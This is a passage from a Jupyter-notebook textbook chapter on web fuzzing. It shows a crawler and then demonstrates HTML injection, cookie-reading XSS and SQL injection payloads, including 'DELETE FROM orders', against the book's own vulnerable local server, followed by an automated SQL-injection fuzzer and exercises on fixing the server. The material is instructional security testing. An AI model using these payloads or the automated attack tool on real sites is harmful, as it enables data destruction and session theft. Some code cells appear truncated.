The actual crawler comes as a generator function crawl() which produces one URL after another. By default, it returns only URLs that reside on the same host; the parameter max_pages controls how many pages (default: 1) should be scanned. We also respect the robots.txt file on the remote site to check which pages we are allowed to scan.

In [124]:
def crawl(url, max_pages=1, same_host=True):
    """Return the list of linked URLs from the given URL.  Accesses up to `max_pages`."""

    pages = deque([(url, "<param>")])
    urls_seen = set()

    rp = urllib.robotparser.RobotFileParser()
    rp.set_url(urljoin(url, "/robots.txt"))

    while len(pages) > 0 and max_pages > 0:
        page, referrer = pages.popleft()
        if not rp.can_fetch("*", page):
            # Disallowed by robots.txt

        r = requests.get(page)
        max_pages -= 1

        if r.status_code != HTTPStatus.OK:
            print("Error " + repr(r.status_code) + ": " + page,
                  "(referenced from " + referrer + ")",

        content_type = r.headers["content-type"]
        if not content_type.startswith("text/html"):

        parser = LinkHTMLParser()

        for link in parser.links:
            target_url = urljoin(page, link)
            if same_host and urlsplit(
                    target_url).hostname != urlsplit(url).hostname:
                # Different host
            if urlsplit(target_url).fragment != "":
                # Ignore #fragments

            if target_url not in urls_seen:
                pages.append((target_url, page))
                yield target_url

        if page not in urls_seen:
            yield page

We can run the crawler on our own server, where it will quickly return the order page and the terms and conditions page.

In [125]:
for url in crawl(httpd_url):
    print_url(url) - - [16/Apr/2019 11:02:06] "GET /robots.txt HTTP/1.1" 404 - - - [16/Apr/2019 11:02:06] "GET / HTTP/1.1" 200 -

We can also crawl over other sites, such as the home page of this project.

In [126]:
for url in crawl("https://www.fuzzingbook.org/"):

Once we have crawled over all the links of a site, we can generate tests for all the forms we found:

In [127]:
for url in crawl(httpd_url, max_pages=float('inf')):
    web_form_fuzzer = WebFormFuzzer(url)
    web_form_runner = WebRunner(url)
('', 'PASS')
('', 'PASS')
('', 'PASS')

For even better effects, one could integrate crawling and fuzzing – and also analyze the order confirmation pages for further links. We leave this to the reader as an exercise.

Let us get rid of any server messages accumulated above:

In [128]:

Crafting Web Attacks

Before we close the chapter, let us take a look at a special class of "uncommon" inputs that not only yield generic failures, but actually allow attackers to manipulate the server at their will. We will illustrate three common attacks using our server, which (surprise) actually turns out to be vulnerable against all of them.

HTML Injection Attacks

The first kind of attack we look at is HTML injection. The idea of HTML injection is to supply the Web server with data that can also be interpreted as HTML. If this HTML data is then displayed to users in their Web browsers, it can serve malicious purposes, although (seemingly) originating from a reputable site. If this data is also stored, it becomes a persistent attack; the attacker does not even have to lure victims towards specific pages.

Here is an example of a (simple) HTML injection. For the name field, we not only use plain text, but also embed HTML tags – in this case, a link towards a malware-hosting site.

In [130]:
    "<name>": [cgi_encode('''
    Jane Doe<p>
    <strong><a href="www.lots.of.malware">Click here for cute cat pictures!</a></strong>

If we use this grammar to create inputs, the resulting URL will have all of the HTML encoded in:

In [131]:
html_injection_fuzzer = GrammarFuzzer(ORDER_GRAMMAR_WITH_HTML_INJECTION)
order_with_injected_html = html_injection_fuzzer.fuzz()

What hapens if we send this string to our Web server? It turns out that the HTML is left in the confirmation page and shown as link. This also happens in the log:

In [132]:
HTML(webbrowser(urljoin(httpd_url, order_with_injected_html))) - - [16/Apr/2019 11:02:07] INSERT INTO orders VALUES ('drill', '
    Jane Doe

Click here for cute cat pictures!

', 'j_smith@example.com', 'Seattle', '02805') - - [16/Apr/2019 11:02:07] "GET /order?item=drill&name=%0a++++Jane+Doe%3cp%3e%0a++++%3cstrong%3e%3ca+href%3d%22www.lots.of.malware%22%3eClick+here+for+cute+cat+pictures!%3c%2fa%3e%3c%2fstrong%3e%0a++++%3c%2fp%3e%0a++++&email=j_smith%40example.com&city=Seattle&zip=02805 HTTP/1.1" 200 -
Thank you for your Fuzzingbook Order!

We will send One FuzzingBook Rotary Hammer to Jane Doe

Click here for cute cat pictures!

in Seattle, 02805
A confirmation mail will be sent to j_smith@example.com.

Want more swag? Use our order form!

Since the link seemingly comes from a trusted origin, users are much more likely to follow it. The link is even persistent, as it is stored in the database:

In [133]:
print(db.execute("SELECT * FROM orders WHERE name LIKE '%<%'").fetchall())
[('drill', '\n    Jane Doe<p>\n    <strong><a href="www.lots.of.malware">Click here for cute cat pictures!</a></strong>\n    </p>\n    ', 'j_smith@example.com', 'Seattle', '02805')]

This means that anyone ever querying the database (for instance, operators processing the order) will also see the link, multiplying its impact. By carefully crafting the injected HTML, one can thus expose malicious content to a large number of users – until the injected HTML is finally deleted.

Cross-Site Scripting Attacks

If one can inject HTML code into a Web page, one can also inject JavaScript code as part of the injected HTML. This code would then be executed as soon as the injected HTML is rendered.

This is particularly dangerous because executed JavaScript always executes in the origin of the page which contains it. Therefore, an attacker can normally not force a user to run JavaScript in any origin he does not control himself. When an attacker, however, can inject his code into a vulnerable Web application, he can have the client run the code with the (trusted) Web application as origin.

In such a cross-site scripting (XSS) attack, the injected script can do a lot more than just plain HTML. For instance, the code can access sensitive page content or session cookies. If the code in question runs in the operator's browser (for instance, because an operator is reviewing the list of orders), it could retrieve any other information shown on the screen and thus steal order details for a variety of customers.

Here is a very simple example of a script injection. Whenever the name is displayed, it causes the browser to "steal" the current session cookie – the piece of data the browser uses to identify the user with the server. In our case, we could steal the cookie of the Jupyter session.

In [134]:
    "<name>": [cgi_encode('Jane Doe' +
                          '<script>' +
                          'document.title = document.cookie.substring(0, 10);' +
In [135]:
xss_injection_fuzzer = GrammarFuzzer(ORDER_GRAMMAR_WITH_XSS_INJECTION)
order_with_injected_xss = xss_injection_fuzzer.fuzz()
In [136]:
url_with_injected_xss = urljoin(httpd_url, order_with_injected_xss)
In [137]:
HTML(webbrowser(url_with_injected_xss, mute=True))
Thank you for your Fuzzingbook Order!

We will send One FuzzingBook Lock Set to Jane Doe in Seattle, 34506
A confirmation mail will be sent to j.doe@example.com.

Want more swag? Use our order form!

The message looks as always – but if you have a look at your browser title, it should now show the first 10 characters of your "secret" notebook cookie. Instead of showing its prefix in the title, the script could also silently send the cookie to a remote server, allowing attackers to highjack your current notebook session and interact with the server on your behalf. It could also go and access and send any other data that is shown in your browser or otherwise available. It could run a keylogger and steal passwords and other sensitive data as it is typed in. Again, it will do so every time the compromised order with Jane Doe's name is shown in the browser and the associated script is executed.

Let us go and reset the title to a less sensitive value:

In [138]:
HTML('<script>document.title = "Jupyter"</script>')

SQL Injection Attacks

Cross-site scripts have the same privileges as web pages – most notably, they cannot access or change data outside of your browser. So-called SQL injection targets databases, allowing to inject commands that can read or modify data in the database, or change the purpose of the original query.

To understand how SQL injection works, let us take a look at the code that produces the SQL command to insert a new order into the database:

sql_command = ("INSERT INTO orders " +
    "VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values))

What happens if any of the values (say, name) has a value that can also be interpreted as a SQL command? Then, instead of the intended INSERT command, we would execute the command imposed by name.

Let us illustrate this by an example. We set the individual values as they would be found during execution:

In [139]:
values = {
    "item": "tshirt",
    "name": "Jane Doe",
    "email": "j.doe@example.com",
    "city": "Seattle",
    "zip": "98104"

and format the string as seen above:

In [140]:
sql_command = ("INSERT INTO orders " +
               "VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values))
"INSERT INTO orders VALUES ('tshirt', 'Jane Doe', 'j.doe@example.com', 'Seattle', '98104')"

All fine, right? But now, we define a very "special" name that can also be interpreted as a SQL command:

In [141]:
values["name"] = "Jane', 'x', 'x', 'x'); DELETE FROM orders; -- "
In [142]:
sql_command = ("INSERT INTO orders " +
               "VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values))
"INSERT INTO orders VALUES ('tshirt', 'Jane', 'x', 'x', 'x'); DELETE FROM orders; -- ', 'j.doe@example.com', 'Seattle', '98104')"

What happens here is that we now get a command to insert values into the database (with a few "dummy" values x), followed by a SQL DELETE command that would delete all entries of the orders table. The string -- starts a SQL comment such that the remainder of the original query would be easily ignored. By crafting strings that can also be interpreted as SQL commands, attackers can alter or delete database data, bypass authentication mechanisms and many more.

Is our server also vulnerable to such attacks? Of course it is. We create a special grammar such that we can set the <name> parameter to a string with SQL injection, just as shown above.

In [144]:
    "<name>": [cgi_encode("Jane', 'x', 'x', 'x'); DELETE FROM orders; --")],
In [145]:
sql_injection_fuzzer = GrammarFuzzer(ORDER_GRAMMAR_WITH_SQL_INJECTION)
order_with_injected_sql = sql_injection_fuzzer.fuzz()

These are the current orders:

In [146]:
print(db.execute("SELECT * FROM orders").fetchall())
[('tshirt', 'Jane Doe', 'doe@example.com', 'Seattle', '98104'), ('lockset', 'Jane Doe', 'j_smith@example.com', 'Seattle', '16631'), ('drill', 'Jane Doe', 'j.doe@example.com', '', '45732'), ('drill', 'Jane Doe', 'j,doe@example.com', 'Seattle', '45732'), ('drill', ' ', '5F @p   a ', 'cdb', '3230'), ('drill', ' m', '@@0', 'd', '9'), ('lockset', '  ', 'c@d', '_', '6'), ('lockset', ' ', 'd@_-', '2  0', '1040'), ('tshirt', 'Kb', 'm@ ', 'zy ', '13'), ('lockset', 'd', 'U @t', ' ', '4'), ('tshirt', '_ 2', '1  @ ', ' ', '30'), ('tshirt', ' ', 'a-@ ', ' W', '2'), ('lockset', 'V', '  @aUeeD', ' ', '01'), ('tshirt', 'oc', '  @ ', 'a', '25'), ('drill', '55', '3>@@5', 'L', '0'), ('tshirt', ' ', 'b t2@ ', 'E9', '54'), ('drill', 'R-', 'e@?', ' ', '5'), ('drill', '\n    Jane Doe<p>\n    <strong><a href="www.lots.of.malware">Click here for cute cat pictures!</a></strong>\n    </p>\n    ', 'j_smith@example.com', 'Seattle', '02805'), ('lockset', 'Jane Doe<script>document.title = document.cookie.substring(0, 10);</script>', 'j.doe@example.com', 'Seattle', '34506')]

Let us go and send our URL with SQL injection to the server. From the log, we see that the "malicious" SQL command is formed just as sketched above, and executed, too.

In [147]:
contents = webbrowser(urljoin(httpd_url, order_with_injected_sql)) - - [16/Apr/2019 11:02:07] INSERT INTO orders VALUES ('drill', 'Jane', 'x', 'x', 'x'); DELETE FROM orders; --', 'j.doe@example.com', 'New York', '14083') - - [16/Apr/2019 11:02:07] "GET /order?item=drill&name=Jane',+'x',+'x',+'x')%3b+DELETE+FROM+orders%3b+--&email=j.doe%40example.com&city=New+York&zip=14083 HTTP/1.1" 200 -

All orders are now gone:

In [148]:
print(db.execute("SELECT * FROM orders").fetchall())

This effect is also illustrated in this very popular XKCD comic:


Even if we had not able to execute arbitrary commands, being able to compromise an orders database offers several possibilities for mischief. For instance, we could use the address and matching credit card number of an existing person to go through validation and submit an order, only to have the order then delivered to an address of our choice. We could also use SQL injection to inject HTML and JavaScript code as above, bypassing possible sanitization geared at these domains.

To avoid such effects, the remedy is to sanitize all third-party inputs – no character in the input must be interpretable as plain HTML, JavaScript, or SQL. This is achieved by properly quoting and escaping inputs. The exercises give some instructions on what to do.

Leaking Internal Information

To craft the above SQL queries, we have used insider information – for instance, we knew the name of the table as well as its structure. Surely, an attacker would not know this and thus not be able to run the attack, right? Unfortunately, it turns out we are leaking all of this information out to the world in the first place. The error message produced by our server reveals everything we need:

In [149]:
answer = webbrowser(urljoin(httpd_url, "/order"), mute=True)
In [150]:
Internal Server Error

The server has encountered an internal error. Go to our order form.

Traceback (most recent call last):
  File "", line 8, in do_GET
  File "", line 4, in handle_order
  File "", line 5, in store_order
    sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
KeyError: 'item'

The best way to avoid information leakage through failures is of course not to fail in the first place. But if you fail, make it hard for the attacker to establish a link between the attack and the failure. Do not produce "internal error" messages (and certainly not ones with internal information); do not become unresponsive; just go back to the home page and ask the user to supply correct data. One more time, the exercises give some instructions on how to fix the server.

If you can manipulate the server not only to alter information, but also to retrieve information, you can learn about table names and structure by accessing special tables (also called data dictionary) in which database servers store their metadata. In the MySQL server, for instance, the special table information_schema holds metadata such as the names of databases and tables, data types of columns, or access privileges.

Fully Automatic Web Attacks

So far, we have demonstrated the above attacks using our manually written order grammar. However, the attacks also work for generated grammars. We extend HTMLGrammarMiner by adding a number of common SQL injection attacks:

In [151]:
class SQLInjectionGrammarMiner(HTMLGrammarMiner):
    ATTACKS = [
        "<string>' <sql-values>); <sql-payload>; <sql-comment>",
        "<string>' <sql-comment>",
        "' OR 1=1<sql-comment>'",
        "<number> OR 1=1",

    def __init__(self, html_text, sql_payload):

        self.QUERY_GRAMMAR = extend_grammar(self.QUERY_GRAMMAR, {
            "<text>": ["<string>", "<sql-injection-attack>"],
            "<number>": ["<digits>", "<sql-injection-attack>"],
            "<checkbox>": ["<_checkbox>", "<sql-injection-attack>"],
            "<email>": ["<_email>", "<sql-injection-attack>"],
            "<sql-injection-attack>": [
                cgi_encode(attack, "<->") for attack in self.ATTACKS
            "<sql-values>": ["", cgi_encode("<sql-values>, '<string>'", "<->")],
            "<sql-payload>": [cgi_encode(sql_payload)],
            "<sql-comment>": ["--", "#"],
In [152]:
html_miner = SQLInjectionGrammarMiner(
    html_text, sql_payload="DROP TABLE orders")
In [153]:
grammar = html_miner.mine_grammar()
{'<start>': ['<action>?<query>'],
 '<string>': ['<letter>', '<letter><string>'],
 '<letter>': ['<plus>', '<percent>', '<other>'],
 '<plus>': ['+'],
 '<percent>': ['%<hexdigit-1><hexdigit>'],
 '<hexdigit>': ['0',
 '<other>': ['0', '1', '2', '3', '4', '5', 'a', 'b', 'c', 'd', 'e', '-', '_'],
 '<text>': ['<string>', '<sql-injection-attack>'],
 '<number>': ['<digits>', '<sql-injection-attack>'],
 '<digits>': ['<digit>', '<digits><digit>'],
 '<digit>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
 '<checkbox>': ['<_checkbox>', '<sql-injection-attack>'],
 '<_checkbox>': ['on', 'off'],
 '<email>': ['<_email>', '<sql-injection-attack>'],
 '<_email>': ['<string>%40<string>'],
 '<hexdigit-1>': ['3', '4', '5', '6', '7'],
 '<submit>': [''],
 '<sql-injection-attack>': ["<string>'+<sql-values>)%3b+<sql-payload>%3b+<sql-comment>",
 '<sql-values>': ['', "<sql-values>,+'<string>'"],
 '<sql-payload>': ['DROP+TABLE+orders'],
 '<sql-comment>': ['--', '#'],
 '<action>': ['/order'],
 '<item>': ['item=<item-value>'],
 '<item-value>': ['tshirt', 'drill', 'lockset'],
 '<name>': ['name=<text>'],
 '<email-1>': ['email=<email>'],
 '<city>': ['city=<text>'],
 '<zip>': ['zip=<number>'],
 '<terms>': ['terms=<checkbox>'],
 '<submit-1>': ['submit=<submit>'],
 '<query>': ['<item>&<name>&<email-1>&<city>&<zip>&<terms>&<submit-1>']}
In [154]:
['<string>', '<sql-injection-attack>']

We see that several fields now are tested for vulnerabilities:

In [155]:
sql_fuzzer = GrammarFuzzer(grammar)
In [156]:
print(db.execute("SELECT * FROM orders").fetchall())
In [157]:
contents = webbrowser(urljoin(httpd_url,
                              "/order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104")) - - [16/Apr/2019 11:02:07] INSERT INTO orders VALUES ('tshirt', 'Jane Doe', 'doe@example.com', 'Seattle', '98104') - - [16/Apr/2019 11:02:07] "GET /order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104 HTTP/1.1" 200 -
In [158]:
def orders_db_is_empty():
        entries = db.execute("SELECT * FROM orders").fetchall()
    except sqlite3.OperationalError:
        return True
    return len(entries) == 0
In [159]:
In [160]:
class SQLInjectionFuzzer(WebFormFuzzer):
    def __init__(self, url, sql_payload="", **kwargs):
        self.sql_payload = sql_payload
        super().__init__(url, **kwargs)

    def get_grammar(self, html_text):
        grammar_miner = SQLInjectionGrammarMiner(
            html_text, sql_payload=self.sql_payload)
        return grammar_miner.mine_grammar()
In [161]:
sql_fuzzer = SQLInjectionFuzzer(httpd_url, "DELETE FROM orders")
web_runner = WebRunner(httpd_url)
trials = 1

while True:
    if orders_db_is_empty():
    trials += 1
In [162]:

Our attack was successful! After less than a second of testing, our database is empty:

In [163]:

Again, note the level of possible automation: We can

  • Crawl the Web pages of a host for possible forms
  • Automatically identify form fields and possible values
  • Inject SQL (or HTML, or JavaScript) into any of these fields

and all of this fully automatically, not needing anything but the URL of the site.

The bad news is that with a tool set as the above, anyone can attack web sites. The even worse news is that such penetration tests take place every day, on every web site. The good news, though, is that after reading this chapter, you know get an idea of how Web servers are attacked every day – and what you as a Web server maintainer could and should do to prevent this.

Lessons Learned

  • User Interfaces (in the Web and elsewhere) should be tested with expected and unexpected values.
  • One can mine grammars from user interfaces, allowing for their widespread testing.
  • Consequent sanitizing of inputs prevents common attacks such as code and SQL injection.
  • Do not attempt to write a Web server yourself, as you are likely to repeat all the mistakes of others.

We're done, so we can clean up:

In [164]:
In [165]:

Next Steps

From here, the next step is GUI Fuzzing, going from HTML- and Web-based user interfaces to generic user interfaces (including JavaScript and mobile user interfaces).

If you are interested in security testing, do not miss our chapter on information flow, showing how to systematically detect information leaks; this also addresses the issue of SQL Injection attacks.


The Wikipedia pages on Web application security are a mandatory read for anyone building, maintaining, or testing Web applications. In 2012, cross-site scripting and SQL injection, as discussed in this chapter, made up more than 50% of Web application vulnerabilities.

The Wikipedia page on penetration testing provides a comprehensive overview on the history of penetration testing, as well as collections of vulnerabilities.

The OWASP Zed Attack Proxy Project (ZAP) is an open source Web site security scanner including several of the features discussed above, and many many more.


Exercise 1: Fix the Server

Create a BetterHTTPRequestHandler class that fixes the several issues of SimpleHTTPRequestHandler:

Part 1: Silent Failures

Set up the server such that it does not reveal internal information – in particular, tracebacks and HTTP status codes.

Part 2: Sanitized HTML

Set up the server such that it is not vulnerable against HTML and JavaScript injection attacks, notably by using methods such as html.escape() to escape special characters when showing them.

Part 3: Sanitized SQL

Set up the server such that it is not vulnerable against SQL injection attacks, notably by using SQL parameter substitution.

Part 4: A Robust Server

Set up the server such that it does not crash with invalid or missing fields.

Part 5: Test it!

Test your improved server whether your measures have been successful.

Exercise 2: Protect the Server

Assume that it is not possible for you to alter the server code. Create a filter that is run on all URLs before they are passed to the server.

Part 1: A Blacklisting Filter

Set up a filter function blacklist(url) that returns False for URLs that should not reach the server. Check the URL for whether it contains HTML, JavaScript, or SQL fragments.

Part 2: A Whitelisting Filter

Set up a filter function whitelist(url) that returns True for URLs that are allowed to reach the server. Check the URL for whether it conforms to expectations; use a parser and a dedicated grammar for this purpose.

Exercise 3: Input Patterns

To fill out forms, fuzzers could be much smarter in how they generate input values. Starting with HTML 5, input fields can have a pattern attribute defining a regular expression that an input value has to satisfy. A 5-digit ZIP code, for instance, could be defined by the pattern

<input type="text" pattern="[0-9][0-9][0-9][0-9][0-9]">

Extract such patterns from the HTML page and convert them into equivalent grammar production rules, ensuring that only inputs satisfying the patterns are produced.

Exercise 4: Coverage-Driven Web Fuzzing

Combine the above fuzzers with coverage-driven and search-based approaches to maximize feature and code coverage.